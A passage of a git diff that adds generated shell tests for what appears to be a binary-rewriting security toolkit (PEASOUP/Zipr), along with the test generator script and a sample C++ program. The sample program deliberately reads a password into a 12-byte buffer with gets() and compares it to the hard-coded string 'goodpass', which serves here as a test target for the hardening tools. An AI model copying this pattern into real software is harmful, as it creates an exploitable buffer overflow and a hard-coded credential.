+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..25e1593620634596cd74fefb996ac382709651f8
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="          -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="          -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..43b3b62b15e5ef02f34ccb6741aa300927a8e2e2
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="          -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="          -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/generate_tests.sh b/peasoup_examples/tests/test_scripts/generate_tests.sh
new file mode 100755
index 0000000000000000000000000000000000000000..34c403070cbcd367f0c4de42780ebadfad88364d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/generate_tests.sh
@@ -0,0 +1,194 @@
+#!/bin/sh
+
+#
+# The list of all benchmarks you'd like to test.  You can put a benchmark in the list multiple times if you'd like to
+# test it more than once (say with different inputs).
+#
+# moved closer to the loop so we can see it
+# benchnames="foo sample"
+# backends="strata zipr"
+
+
+#
+# list of templates to generate tests with
+#
+#templates="stratafier.shtmpl stripped.shtmpl"
+
+
+#
+# create_test - this function create a test.  See parameter description immediately below.
+#
+create_test()
+{
+	#
+	# name parameters
+	#
+	my_benchname=$1		# the name of the benchmark to invoke.
+	my_backend=$2
+	my_startfile=$3
+	my_opt=$4
+	my_pic=$5
+	my_fp=$6
+	my_debug=$7
+	my_arch=$8
+	my_template_name=$9	# the template file to use
+	my_template_file=$10		# the template file to use
+
+	# basename for the test script name
+	disp_template=`basename $my_template_name .shtmpl`
+
+	# default display values 
+	disp_start=${my_startfile}
+	disp_opt=${my_opt}
+	disp_pic=${my_pic}
+	disp_fp=${my_fp}
+	disp_debug=${my_debug}
+
+	# these might be changed to empty string
+	actual_start=${my_startfile}
+	actual_opt=${my_opt}
+	actual_pic=${my_pic}
+	actual_fp=${my_fp}
+	actual_debug=${my_debug}
+	
+	# adjust for empty values
+	if [ "${my_startfile}" = "none" ]; then 
+		disp_start="startfile"; 
+		actual_start=" "
+	fi
+
+	if [ "${my_opt}" = "none" ]; then 
+		disp_opt="no_optflag"; 
+		actual_opt=" "; 
+	fi
+
+	if [ "${my_pic}" = "none" ]; then 
+		disp_pic="no_pic"; 
+		actual_pic=" "
+	fi
+
+	if [ "${my_fp}" = "none" ]; then 
+		disp_fp="no_omit-fp"; 
+		actual_fp=" "; 
+	fi
+
+	if [ "${my_debug}" = "none" ]; then 
+		disp_debug="no_debug"; 
+		actual_debug=" "; 
+	fi
+
+	if [ X"${my_arch}" = X"-m32" ]; then
+		actual_arch=x86_32
+	else
+		actual_arch=x86_64
+	fi
+
+	#
+	# setup output filenames
+	#
+	scriptname=$my_benchname.${my_backend}.${disp_start}.${disp_opt}.${disp_pic}.${disp_fp}.${disp_debug}.${my_arch}.sh
+
+
+	# build compiler flags list
+	compflags="${actual_start} ${actual_opt} ${actual_pic} ${actual_fp} ${actual_debug} ${my_arch}"
+
+	# Debug/echo so the user knows what's going down.
+	echo benchname=$1, compflags=\"${compflags}\" scriptname=$scriptname, outname=$my_outname
+
+	# 
+	# actually create the script.
+	#	
+	cat $my_template_file 				| \
+		sed "s/@BENCHNAME@/$my_benchname/g" 	| \
+		sed "s/@BACKEND@/${my_backend}/g" 	| \
+		sed "s/@ARCH@/${actual_arch}/g" 	| \
+		sed "s/@BENCHFLAGS@/$real_benchflag/g"	| \
+		sed "s/@COMPFLAGS@/${compflags}/g" 	\
+			> ${my_benchname}_tests/$scriptname	
+
+	#
+	# record these files to be added 
+	# 
+	added_files="${my_benchname}/${scriptname} $added_files"
+}
+
+
+# loop over the variables
+# run a separate loop for foo.cpp test program and the sample.cpp test program
+
+# templates will follow the benchname
+
+# benchnames="foo sample"
+backends="strata zipr"
+startfile="none -nostartfiles"
+opts="none -O -O2 -O3 -Os"
+pic="none -fPIC"
+fp="none -fomit-frame-pointer"
+debug="none -g"
+archs="-m32 -m64"
+
+
+# foo loop
+mkdir -p foo_tests
+
+template=template.foo.shtmpl
+# foo test doesn't use startfiles flag so the loop will be different
+for b in $backends
+do
+#   for s in $startfile
+#   do
+      for o in $opts
+      do
+         for p in $pic # compiler flags
+         do
+            for f in $fp
+	    do
+	       for d in $debug
+   	       do
+		  for a in $archs
+		  do 
+			# actually create the test
+		
+			create_test foo $b none $o $p $f $d $a $template $template
+		  done	# arch
+	       done	# debug
+            done	# fp
+         done 	# pic
+      done 	# opts
+#   done 	# startfile
+done	# backends
+
+mkdir -p sample_tests
+# sample loop
+template=template.sample.shtmpl
+for b in $backends
+do
+   for s in $startfile
+   do
+      for o in $opts
+      do
+         for p in $pic # compiler flags
+         do
+            for f in $fp
+	    do
+	       for d in $debug
+	       do
+		  for a in $archs
+		  do
+			# actually create the test
+			create_test sample $b $s $o $p $f $d $a $template $template
+		  done	# arch
+	       done	# debug
+            done	# fp
+         done 	# pic
+      done 	# opts
+   done 	# startfile
+done	# backends
+
+
+#
+# svn add to the repo, but wait for user to verify/commit
+#
+echo "I've created these files.  Please verify them and commit as you see fit."
+echo $added_files
+#svn add $added_files
diff --git a/peasoup_examples/tests/test_scripts/sample.cpp b/peasoup_examples/tests/test_scripts/sample.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..c420bb88cbba73c5b24203c26f48dc8e221ed8dc
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample.cpp
@@ -0,0 +1,68 @@
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+class base
+{
+public:
+  base() {}
+  virtual ~base() {}
+  virtual void A() {}
+  virtual void B() {}
+  virtual void C() {}
+};
+
+class derived : public base
+{
+public:
+  derived() {}
+  virtual ~derived() {}
+  virtual void A();
+  virtual void B();
+  virtual void C();
+};
+
+void derived::A()
+{
+  puts("A");
+}
+
+void derived::B()
+{
+  puts("B");
+}
+
+void derived::C()
+{
+  puts("C");
+}
+
+int IsPasswordOkay(void)
+{
+	char Password[12];
+
+	gets(Password);
+	if (!strcmp(Password, "goodpass"))
+		return(1);
+	else return(0);
+}
+
+int main(int argc, char **argv) 
+{
+    int PwStatus;
+
+derived d;
+d.A();
+d.B();
+d.C();
+
+
+	puts("Enter password:");
+	PwStatus = IsPasswordOkay();
+	if (! PwStatus){
+		puts("Access denied");
+		exit(-1);
+	}
+	else puts("Access granted");
+   exit(0);
+}
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b7a96a4e83bfaad2bee1247f4ee9a127c3ee3fa7
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..de23f5ccf2de37c215e48820e114c3d6910b8807
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5720b988472c38fb558a46af21c1966069dc65f8
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
